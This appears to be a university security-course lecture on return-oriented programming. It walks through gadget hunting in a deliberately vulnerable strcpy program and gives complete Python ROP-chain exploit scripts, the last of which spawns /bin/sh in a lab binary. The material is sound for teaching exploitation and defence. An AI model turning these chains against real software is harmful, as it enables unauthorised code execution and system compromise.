SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 24: If You Can Write an 'A' You Can Do Anything!

Table of Contents

1 ROP Chains

The concepts of Return Oriented Programming are really powerful. Previously, we saw where we can use a gadget to manipulate the stack so that we can chain functions together with different numbers of arguments. This time, we are going to try and write full exploits using only gadgets.

The difference in these procedures is that we are now going to leverage a quirk of x86. It is a variable length instruction set, which means that not all instructions fit within a set boundary. There are advantages to this with respect to performance of the CPU, e.g., the CPU can load multiple instructions with a single load call if the instructions are short enough, but this also means that embedded within natural code there is a hidden code if things get slightly out of align. Think about it: What is an instruction anyway other than just some bytes? It doesn't really matter where we find those bytes as long as they do what we need. The key is finding all the gadgets we need to get the job done and then chaining those gadgets together.

1.1 The goal for our ROP chain

The basic concept of ROP chaining is that a gadget is a small set of instructions, one or two, followed by a return. If we were to write the address of these instructions on the stack overwriting the return address, we can then chain a whole bunch together just like we did before. Each gadget does a simple tasks, but many of them could result in an exploit.

To start, we will use the following program that is compiled statically with glibc to give us a bit more code to play with in a nice predictable place.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char * s){
  char buf[100];

  strcpy(buf,s);

  printf("Buf: %s\n", buf);
}

void main(int argc, char * argv[]){

    vuln(argv[1]);
}

The goal is to get this program to print 'A' to stdout, if we can do that, we can do anything. It means we can do arbitrary system calls to do arbitrary work. To start, let's remember how we would normally print an 'A' in x86:

section .txt
 global _start

_start:
 xor eax,eax

 push eax
 push BYTE 0x41 ; 'A'

 mov ebx,eax ; 
 inc ebx ; 1 for stdout

 mov ecx,esp  ; references 'A'

 mov edx,eax
 inc edx ;length of 'A'. 1

 inc eax
 inc eax
 inc eax
 inc eax ;eax is 4 for sys_write

 int 0x80

I've purposely written this to use small instructions so we can more easily find some gadgets that meet these instructions. Now the challenge is to find the codes we are interested in, but the crux of the matter is getting the following registers set up:

eax 0x3
ebx 0x1
ecx <"A\0">  (address of a null terminate string)
edx 0x1
int 0x80

If we can get that, then we can write an 'A' to stdout, or any arbitrary string we choose.

2 Building a ROP chain from scratch

The first thing we need to do in order to build a ROP chain is to find gadgets. First we will look at doing this manually by searching for gadgets using objdump and grep. Latter we'll look at doing this in a more automated fashion.

2.1 Finding Some Useful Gadgets

Let's use objdump and grep to get things started. Recall that the -A option says to print two lines after a match, and the -B options says to print two lines before a match. If we do just a general search, the first kind of gadgets that apear are all in the pop;pop;ret category.

user@si485H-base:demo$ objdump -d -M intel vulnerable  | grep -B 2 ret | head -31
 80481c6:	83 c4 08             	add    esp,0x8
 80481c9:	5b                   	pop    ebx
 80481ca:	c3                   	ret    
--
 804838d:	5f                   	pop    edi
 804838e:	5d                   	pop    ebp
 804838f:	c3                   	ret    
--
 804841e:	5f                   	pop    edi
 804841f:	5d                   	pop    ebp
 8048420:	c3                   	ret    
--
 804846e:	5e                   	pop    esi
 804846f:	5f                   	pop    edi
 8048470:	c3                   	ret    
--
 8048549:	5f                   	pop    edi
 804854a:	5d                   	pop    ebp
 804854b:	c2 04 00             	ret    0x4
--
 8048710:	5f                   	pop    edi
 8048711:	5d                   	pop    ebp
 8048712:	c3                   	ret    
--
 80488d5:	5f                   	pop    edi
 80488d6:	5d                   	pop    ebp
 80488d7:	c3                   	ret    
--
 8048922:	5e                   	pop    esi
 8048923:	5f                   	pop    edi
 8048924:	c3                   	ret

These are all usable gadgets because they allow us to set registers arbitrarily by popping something off the stack into a register. In genreal, there are going to be three really useful kinds of gadgets which we will need to find:

  • pop reg : this will allow us to control the value in a register since we control the stack
  • xor reg, reg : zero a register
  • mov dword ptr [r1], r2 : this will allow us to write to arbitrary memory

We already have at least a few of those above. For example, already, we have found a lot of useful gadgets, such as: pop esi;pop edi; ret;. This will allow us to arbitrarily set the value of edi and esi like following:

|  <next gadget >        |
|   value for edi        |
|   value for esi        |
| <pop esi;pop edi; ret> |

2.2 Building a useful chain

Let's look for a bit more useful gadgets:

objdump -d -M intel vulnerable  | grep -B 2 ret | grep -A 2 -B 1 xor
(...)
--
80b80d5:	5d                   	pop    ebp
 80b80d6:	31 c0                	xor    eax,eax
 80b80d8:	c3                   	ret

This gadget will zero out eax and set the value of ebx! Or if we just jump to the xor, simply zero out the value for eax. We also need a gadget to increment the value in eax:

user@si485H-base:demo$ objdump -d -M intel vulnerable  | grep -B 2 ret | grep -A 2 -B 1 inc 
(...)
--
 805caec:	40                   	inc    eax
 805caed:	5f                   	pop    edi
 805caee:	c3                   	ret

And we need a gadget to write to memory based on a register, something like mov DWORD[edx],eax

user@si485H-base:demo$ objdump -d -M intel vulnerable  | grep -B 2 ret | grep -A 2 "DWORD PTR \[edx\],eax"
(...)
 809a70d:	89 02                	mov    DWORD PTR [edx],eax
 809a70f:	c3                   	ret    
--

Now we have everything we need except a place to write too. For that we can use any old place in the data segment. Turns out 0x080ea060 is perfect for that.

2.3 Write an "A\0" to memory ROP chain

If we can find the right gadgets, then writing a ROP chain to just write "A\0" to a memory location is actually rather straight forward. It should look something like this:

   | <mov [edx],eax;ret> | write '0000' to address 0x080ea61
   | 0x080ea061           | next byte after 0x80ea61
   | <pop edx; ret>      | store next value in edx
   | <xor eax,eax; ret>  | zero eax
   | <mov [edx],eax;ret> | write 'AAAA' to address 0x080ea60
   | 0x41414141          | 'AAAA'
   | <pop eax;ret>       | store next value in eax
^  | 0x080ea060           | address we will write to, now stored in edx
|  | <pop edx; ret>      |  store next value in edx

Reading from bottom to top up the stack. First we move the address we want to write to into edx with a pop, then similarly we move a bunch of A's into eax. Then we can write to the address edx the A's in eax. Once we zero out eax and write that to the next byte, we should have the string "A\0" at address 0x080ea061.

Let's find the right gadgets. First we need pop edx;ret:

user@si485H-base:demo$ objdump -d -M intel vulnerable  | grep -B 4 ret | grep -A 4 "pop.*edx" 
 806e97a:	5a                   	pop    edx
 806e97b:	c3                   	ret

Then we need a pop pop eax; ret. Unfortunately, finding this is harder, and unfortunately, the one I found does a bunch of other stuff:

user@si485H-base:demo$ objdump -d -M intel vulnerable  | grep -B 4 ret | grep -A 4 "pop.*eax" 
 809e08a:	58                   	pop    eax
 809e08b:	5b                   	pop    ebx
 809e08c:	5e                   	pop    esi
 809e08d:	5f                   	pop    edi
 809e08e:	c3                   	ret

But that's fine, we can handle that. And, we already have the mov command:

user@si485H-base:demo$ objdump -d -M intel vulnerable  | grep -B 2 ret | grep -A 2 "DWORD PTR \[edx\],eax"
(...)
 809a70d:	89 02                	mov    DWORD PTR [edx],eax
 809a70f:	c3                   	ret    
--

The last thin we need is xor eax command:

user@si485H-base:demo$ objdump -d -M intel vulnerable  | grep -B 1 ret | grep -A 1 "xor.*eax,eax" 
 8054200:	31 c0                	xor    eax,eax
 8054202:	c3                   	ret    
(...)

This means we can put together the chain like so:

0x0809a70d  | <mov [edx],eax;ret> | write '0000' to address 0x080ea61
0x080ea061  | 0x080ea061          | next byte after 0x80ea61
0x0806e97a  | <pop edx; ret>      | store next value in edx
0x08054202  | <xor eax,eax; ret>  | zero eax
0x0809a70d  | <mov [edx],eax;ret> | write 'AAAA' to address 0x080ea60
0xdeadbeef  | 0xdeadbeef          | to be stored in edi
0xdeadbeef  | 0xdeadbeef          | to be stored in esi
0xdeadbeef  | 0xdeadbeef          | to be stored in ebx
0x41414141  | 0x41414141          | 'AAAA' to be stored in eax
0x0809e080  | <pop eax; pop ebx; pop esi; pop edi ret>       | store next value in eax
0x080ea060  | 0x080ea060          | address we will write to, now stored in edx
0x0806e87a  | <pop edx; ret>      |  store next value in edx

Notice the 0xdeadbeef. This is because the gadget to set eax comes with some added bagage, namely a bunch of extra pop's that have to be handled. These pop's will clear the stack of values, so we need to add some values on the stack, 0xdeadbeef's, so we don't interfere with the rest of the chain.

2.4 Executing the ROP Chain

One problem with ROP chains is that they are long, much longer then something we can just casually type on the command line. It then makes sense to store it in a file, and python is the right tool for the job.

p = 'A'*0x70 #put padding here

p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea060) #address to write to
p += pack('<I', 0x0809e080) #pop eax;pop ebx; pop esi; pop edi; ret
p += pack('<I', 0x41414141) #'AAAA'
p += pack('<I', 0xdeadbeef) # filler
p += pack('<I', 0xdeadbeef) # filler
p += pack('<I', 0xdeadbeef) # filler
p += pack('<I', 0x0809a70d) # mov [edx],eax;ret
p += pack('<I', 0x08054202) # xor eax,eax
p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea061) #address to write to
p += pack('<I', 0x0809a70d) # mov [edx],eax;ret
p += pack('<I', 0xcafebabe) #  will segfault here
print p

Note that the pack('<I',0xdeadbeef) will create a properly formatted little Endian string of 0xdeadbeef. Also note that we built the exploit string in reverse order from the presentation above. I also places a 0xcafebabe in there so we can know if we segfaulted and reached the end of our ropchain, so let's try it out and see if we get there:

user@si485H-base:demo$ ./vulnerable `python rop_chain.py`
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz`??
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[1551626.753436] vulnerable[10562]: segfault at bf00e080 ip bf00e080 sp bffff618 error 14

Hmm. It did not work, why? Well look closely a the ip we segfaulted on 0xbf00e080. There is a null byte in there, and also that looks a lot like the address for our pop eax; pop ebx; pop esi; pop edi; ret; at 0x0809e080. The 0x098 did not wite onto the stack, and the reason for that is 0x09 is '\t' (tab) and that terminated the strcpy().

It turns out that not all of our gadgets that we find can be used because the address may contain values we can't include in the overflow. Looks like we need to hunt for more gadgets!

2.5 Gadgets within Other Operations

One thing we can leverage here is that x86 is not a fixed size instruction set. Instead, any sequence of bytes could be a valid instruction. Before, the address of pop eax gadget was at an address that was not useful, but we can look for another one that might be embeded elsehwere.

To start, it is worthwhile to know that byte 0xc3 is the return operation and address 0x58 is the pop eax instruction. In that case, we can do a search for that address and find:

user@si485H-base:demo$ objdump -d -M intel vulnerable  |  grep -B 2 "c3" | grep -A 2 58
(...)
80bb744:	8b 40 58             	mov    eax,DWORD PTR [eax+0x58]
80bb747:	c3                   	ret    
(...)

And there, within that mov instruction, we see that there is a 0x58 followed by a 0xc3. That means we can use address 0x080bb746 in our ROP chain. Now we can use the following rop chain:

p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea060) #address to write to
p += pack('<I', 0x080bb746) #pop eax; ret
p += pack('<I', 0x41414141) #'AAAA'
p += pack('<I', 0x0809a70d) # mov [edx],eax;ret
p += pack('<I', 0x08054202) # xor eax,eax
p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea061) #address to write to
p += pack('<I', 0x0809a70d) # mov [edx],eax;ret
p += pack('<I', 0xcafebabe) #  will segfault here

And if we test it to see if we get to the 0xcafebabe:

user@si485H-base:demo$ ./vulnerable `python rop_chain.py`
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz`F?
?                                                                                                                       AAAA
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[1555336.602578] vulnerable[10650]: segfault at 800a70d ip 0800a70d sp bffff630 error 14 in vulnerable[8048000+a1000]

Not again. This time it is 0x09 in the mov [edx],eax; ret instruction. Seems like we need a better way because we can continue to explore for these embedded gasgets, but thats a lot of work. Thankfully, there are tools to make this a lot easier.

2.6 Automated Gadget Hunting

Because it's a pain in the ass to find the ROP gadgets by hand, people have developed automated tools for both finding gadgets and automatically assembling exploits based on those gadgets. The one we'll focus on today is ROPgadget. You should work to install it on your own virtual box system.

While ROPgadget does all sorts of cool things, we'll primarily use it to find gadgets for us. Here's the most basic usage where I am just seperating out the pop eax instructions:

user@si485H-base:demo$ ./ROPgadget.py --binary ./vulnerable | grep ": pop eax "
0x0808f020 : pop eax ; adc al, -0x7b ; sal byte ptr [edx + ecx + 0xffffffc1], cl ; retf
0x080a9926 : pop eax ; adc al, 0x39 ; ret
0x080e01f5 : pop eax ; add byte ptr [eax], al ; mov bh, dl ; clc ; jmp dword ptr [ebx]
0x0806c1b6 : pop eax ; add byte ptr [eax], al ; xor eax, eax ; leave ; ret
0x080e0e1c : pop eax ; add byte ptr fs:[eax], al ; add byte ptr [eax], -7 ; jmp edi
0x08054a15 : pop eax ; and al, -0x77 ; dec eax ; or al, 1 ; retf 0x5089
0x0808cf6d : pop eax ; and bl, ch ; ret -0x4b73
0x0805ae06 : pop eax ; je 0x805ae17 ; add esp, 0x68 ; pop ebx ; ret
0x0809d932 : pop eax ; jmp dword ptr [eax]
0x0809e5b3 : pop eax ; mov dword ptr [esp + 4], eax ; call 0x80ab047
0x0807b5c8 : pop eax ; mov eax, 0x77 ; int 0x80
0x080858e1 : pop eax ; mov eax, edx ; add esp, 0x1c ; ret
0x0805c84c : pop eax ; mov edi, eax ; mov esi, edx ; mov eax, dword ptr [esp + 4] ; ret
0x080539ce : pop eax ; or al, -0x77 ; push eax ; add al, -0x77 ; dec eax ; and al, 0x5b ; ret
0x080573eb : pop eax ; or al, 0x39 ; ret
0x0808b691 : pop eax ; or byte ptr [ebx + 0x89010442], al ; retf -0x1e7d
0x0808c521 : pop eax ; or byte ptr [ecx + 0x20488910], cl ; pop ebx ; ret
0x080e359d : pop eax ; or cl, byte ptr [esi] ; adc al, 0x41 ; ret
0x080e5cff : pop eax ; or cl, byte ptr [esi] ; or al, 0x41 ; ret
0x08058169 : pop eax ; or dh, dh ; ret
0x0804a0cf : pop eax ; or dh, dh ; ret 0xfdf
0x0809e02a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080e105d : pop eax ; push cs ; adc al, 0x41 ; ret
0x080bb746 : pop eax ; ret  <---
0x08071fba : pop eax ; ret 0x80e
0x080b0914 : pop eax ; retf
0x080554f9 : pop eax ; xor byte ptr [ebx + 0xffffff83], bl ; retf -0x7cfe

In the list, indicated with an "<—", you see the pop eax;ret we found earlier. Now we only need to find mov [edx],eax instruction:

user@si485H-base:demo$ ./ROPgadget.py --binary ./vulnerable | grep ": mov dword ptr \[edx\]"
0x080e62a9 : mov dword ptr [edx], cs ; push cs ; adc al, 0x41 ; ret
0x080e3b65 : mov dword ptr [edx], cs ; push cs ; adc al, 0x43 ; ret
0x080e345b : mov dword ptr [edx], cs ; push cs ; or al, 0x41 ; ret
0x08066fc4 : mov dword ptr [edx], eax ; lea eax, dword ptr [edx + 1] ; pop edi ; ret
0x08067104 : mov dword ptr [edx], eax ; lea eax, dword ptr [edx + 1] ; ret
0x08066ef2 : mov dword ptr [edx], eax ; lea eax, dword ptr [edx + 3] ; pop edi ; ret
0x08067122 : mov dword ptr [edx], eax ; lea eax, dword ptr [edx + 3] ; ret
0x080656a2 : mov dword ptr [edx], eax ; mov eax, edi ; pop edi ; ret
0x08065894 : mov dword ptr [edx], eax ; mov eax, edx ; ret
0x080a713b : mov dword ptr [edx], eax ; mov ebx, dword ptr [ebp + 0xfffffffc] ; leave ; ret
0x0808fc26 : mov dword ptr [edx], eax ; pop ebx ; ret <-- but this one works fine
0x0809a70d : mov dword ptr [edx], eax ; ret  <--- One from before
0x0807457c : mov dword ptr [edx], ecx ; add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0805ee34 : mov dword ptr [edx], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x080e4871 : mov dword ptr [edx], ecx ; push cs ; adc al, 0x43 ; ret
0x08054992 : mov dword ptr [edx], ecx ; ret

As you can see, we found the previous one from before with the 0x09 tab in it, but we can also find one that does the same, but with a pop ebx in the middle without a 0x09 in the address. So now we have the following, where we use 0xdeadbeef to pop into ebx

p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea060) #address to write to
p += pack('<I', 0x080bb746) #pop eax; reat;
p += pack('<I', 0x41414141) #'AAAA'
p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret
p += pack('<I', 0xdeadbeef) #  filler for pop ebx
p += pack('<I', 0x08054202) # xor eax,eax
p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea061) #address to write to
p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret
p += pack('<I', 0xdeadbeef) #  filler for pop ebx
p += pack('<I', 0xcafebabe) #  will segfault here

And if we run this, we see we segfault on cafebabe, hurray!

user@si485H-base:demo$ ./vulnerable `python rop_chain.py`
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz`F?
                                                                                                                        AAAAᆳ?zaᆳ޾???
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[1560517.099344] vulnerable[10793]: segfault at cafebabe ip cafebabe sp bffff64c error 15

3 Completing the Exploit

Now that you've seen what the game is like, we can finish this exploit and write an 'A' to stdout. At this point it is only a matter of finding the right gadgets:

user@si485H-base:demo$ cat print_A_rop.py
#!/usr/bin/python

from struct import pack

p = '+'*(0x70) #padding

#Write an A to 0x080ea060
p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea060) #address to write to
p += pack('<I', 0x080bb746) #pop eax; ret
p += pack('<I', 0x41414141) #'AAAA'
p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret
p += pack('<I', 0xdeadbeef) #  filler for pop ebx, will be adjust to 0x01 below

#Set eax to 0x4 and ebx to 0x1
p += pack('<I', 0x080584a6) # : xor eax, eax ; pop ebx ; ret
p += pack('<I', 0xffffffff)# set ebx to 0xfffffff
p += pack('<I', 0x080e2593) #: add al, 2 ; inc ebx ; ret (ebx=0xffffffff+1 = 0x00000000)
p += pack('<I', 0x080e2593) #: add al, 2 ; inc ebx ; ret (ebx=0x00000000+1 = 0x00000001)

#Set ecx to 0x080ea060
p += pack('<I', 0x080e4c5d) # pop ecx ; ret
p += pack('<I', 0x080ea060) #address of AAAA


#set edx to 0x1
p += pack('<I', 0x0806e97a)# pop edx ; ret
p += pack('<I', 0xffffffff)# set edx to 0xfffffff
p += pack('<I', 0x0805d0e7)# : inc edx ; ret
p += pack('<I', 0x0805d0e7)# : inc edx ; ret (now edx is 0x1)

#call interupt
p += pack('<I', 0x0806f040) # int 0x80; ret

p += pack('<I', 0xcafebabe) # <-- segfault here

print p

And then we can run it:

user@si485H-base:demo$ ./vulnerable `python print_A_rop.py`
Buf: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++z`F?
                                                                                                                        AAAAᆳަ??????]`z??????@????
ASegmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[1564247.938610] vulnerable[11157]: segfault at cafebabe ip cafebabe sp bffff654 error 15

And you see, there's our A!

3.1 Printing a Sequence of Chars

Now that we can print an "A", let's try and print something a bit more exciting, like "Go Navy"` At this point, we have successfully created the string we are going to write, the next thing we need is to be able set up the remainder of the registers or call a function that can print to the screen.

The cool thing is now that we have the infrastructure, we can just make functions out of these. That is, we can make a function that produces a ROP chain that does our task, and then we can just chain those together:

user@si485H-base:demo$ cat print_string_rop.py
#!/usr/bin/python

import sys
from struct import pack

#write a char to memory
def write_char(a):
    p = ""
    #Write a to 0x080ea060
    p += pack('<I', 0x0806e97a) #pop edx; ret
    p += pack('<I', 0x080ea060) #address to write to
    p += pack('<I', 0x080bb746) #pop eax; ret
    p += pack('<I', a) # character we want to print
    p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret
    p += pack('<I', 0xdeadbeef) #  filler for pop ebx, will be adjust to 0x01 below
    return p

#write a space to memory
def write_space():
    p = ""
    #Write a to 0x080ea060
    p += pack('<I', 0x0806e97a) #pop edx; ret
    p += pack('<I', 0x080ea060) #address to write to
    p += pack('<I', 0x080bb746) #pop eax; ret
    p += pack('<I', 0x1f1f1f1f) # write byte one less than 0x20 for space
    p += pack('<I', 0x0807b466) # inc eax ; ret (turns least significant byte to 0x20)
    p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret
    p += pack('<I', 0xdeadbeef) #  filler for pop ebx, will be adjust to 0x01 below
    return p

#write a newline to memory
def write_newline():
    p = ""
    #Write a to 0x080ea060
    p += pack('<I', 0x0806e97a) #pop edx; ret
    p += pack('<I', 0x080ea060) #address to write to
    p += pack('<I', 0x080584a6) # : xor eax, eax ; pop ebx ; ret
    p += pack('<I', 0xdeadbeef) # filler for pop ebx
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0807b466) # inc eax 
    p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret
    p += pack('<I', 0xdeadbeef) #  filler for pop ebx
    return p
    

#print the char in memory to the screen
def print_char():
    p = ""
    #Set eax to 0x4 and ebx to 0x1
    p += pack('<I', 0x080584a6) # : xor eax, eax ; pop ebx ; ret
    p += pack('<I', 0xffffffff)# set ebx to 0xfffffff
    p += pack('<I', 0x080e2593) #: add al, 2 ; inc ebx ; ret (ebx=0xffffffff+1 = 0x00000000)
    p += pack('<I', 0x080e2593) #: add al, 2 ; inc ebx ; ret (ebx=0x00000000+1 = 0x00000001)
    
    #Set ecx to 0x080ea060
    p += pack('<I', 0x080e4c5d) # pop ecx ; ret
    p += pack('<I', 0x080ea060) #address of AAAA


    #set edx to 0x1
    p += pack('<I', 0x0806e97a)# pop edx ; ret
    p += pack('<I', 0xffffffff)# set edx to 0xfffffff
    p += pack('<I', 0x0805d0e7)# : inc edx ; ret
    p += pack('<I', 0x0805d0e7)# : inc edx ; ret (now edx is 0x1)

    #call interupt
    p += pack('<I', 0x0806f040) # int 0x80; ret
    return p


#convert a char to 0xXXXXXXX number
def dub_char(s):
    r = ord(s[0])
    r = r | r << 8 | r << 16 | r << 24
    return r

if __name__ == "__main__":
    p = '+'*(0x70) #padding
    
    for c in sys.argv[1]:
        if ord(c) == 0x20:
            p += write_space()
        else:
            p += write_char(dub_char(c))

        p += print_char()

    p += write_newline()
    p += print_char()

    p += pack('<I', 0xcafebabe) # <-- segfault here
        
    print p

And it works:

user@si485H-base:demo$ ./vulnerable `python print_string_rop.py "Go Navy, Beat Army!"`
Buf: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++z`F?
                                                                                                                        GGGGᆳަ??????]`z??????@z`F?
                                                                                                                                                ooooᆳަ??????]`z??????@z`F?
                                                                                                                                                                        fᆳަ??????]`z??????@z`F?
                                                                                                                                                                                             NNNNᆳަ??????]??????@z`F?
        aaaaᆳަ??????]`z??????@z`F?
                                vvvvᆳަ??????]`z??????@z`F?
                                                        yyyyᆳަ??????]`z??????@z`F?
                                                                                ,,,,ᆳަ??????]`z??????@z`F?
                                                                                                        fᆳަ??????]`z??????@z`F?
                                                                                                                             BBBBᆳަ??????]`z??????@z`F?
                                                                                                                                                     eeeeᆳަ??????]`z??????@z`F?
                                                                                                                                                                             aaaaᆳަ??????]`z??????@z`F?
                                                                                                                                                                                                     tttᆳަ??????]`z??????@z`F?
                 fᆳަ??????]`z??????@z`F?
                                      AAAAᆳަ??????]`z??????@z`F?
                                                              rrrrᆳަ??????]`z??????@z`F?
                                                                                      mmmmᆳަ??????]`z??????@z`F?
                                                                                                              yyyyᆳަ??????]`z??????@z`F?
                                                                                                                                      !!!!ᆳަ??????]`z??????@z`?ᆳ?ffffffffffᆳަ??????]`z??????@????
Go Navy, Beat Army!
Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[1565900.040307] vulnerable[11345]: segfault at cafebabe ip cafebabe sp bffff654 error 15

3.2 Launching a shell

We actually have everything we need to also launch a shell. It is the same as writing an 'A' but now we also have to set up the other registers slightly differently. Recall, this is what we need:

  • eax : 0xb
  • ebx : address of the string "/bin/sh\0"
  • ecx : 0x0
  • edx : 0x0

We can do that.

user@si485H-base:demo$ cat shell_rop.py
from struct import pack

p = '+'*(0x70) #padding

#Write an /bin to 0x080ea060
p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea060) #address to write to
p += pack('<I', 0x080bb746) #pop eax; ret
p += "/bin" # bin
p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret
p += pack('<I', 0xdeadbeef) #  filler for pop ebx, will be adjust to 0x01 below

#Write an //sh 0x080ea064
p += pack('<I', 0x0806e97a) #pop edx; ret
p += pack('<I', 0x080ea064) #address to write to
p += pack('<I', 0x080bb746) #pop eax; ret
p += "//sh" # bin
p += pack('<I', 0x0808fc26) # mov [edx],eax;pop ebx;ret
p += pack('<I', 0xdeadbeef) #  filler for pop ebx, will be adjust to 0x01 below


#Set eax to 0xb and ebx to 0x080ea060
p += pack('<I', 0x080584a6) # : xor eax, eax ; pop ebx ; ret
p += pack('<I', 0x080ea060) #address of "/bin/sh"
p += pack('<I', 0x0807b466) # inc eax (1)
p += pack('<I', 0x0807b466) # inc eax (2)
p += pack('<I', 0x0807b466) # inc eax (3)
p += pack('<I', 0x0807b466) # inc eax (4)
p += pack('<I', 0x0807b466) # inc eax (5)
p += pack('<I', 0x0807b466) # inc eax (6)
p += pack('<I', 0x0807b466) # inc eax (7)
p += pack('<I', 0x0807b466) # inc eax (8) 
p += pack('<I', 0x0807b466) # inc eax (9)
p += pack('<I', 0x0807b466) # inc eax (a)
p += pack('<I', 0x0807b466) # inc eax (b)

#Set ecx to 0
p += pack('<I', 0x080e4c5d) # : pop ecx ; ret
p += pack('<I', 0xffffffff) # value for ecx
p += pack('<I', 0x080daa6c) # : inc ecx ; ret (ecx now zero)


#Set edx to 0

p += pack('<I', 0x0806e97a)# pop edx ; ret
p += pack('<I', 0xffffffff)# set edx to 0xfffffff
p += pack('<I', 0x0805d0e7)# : inc edx ; ret

#call interupt
p += pack('<I', 0x0806f040) # int 0x80; ret

print p
user@si485H-base:demo$ ./vulnerable `python shell_rop.py`
Buf: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++z`F?
                                                                                                                        /binᆳ?zdF?
z?????@?                                                                                                                         //shᆳަ`fffffffffff]????l?
$ echo "Go Navy, Beat Army!"
Go Navy, Beat Army!
$

THE END!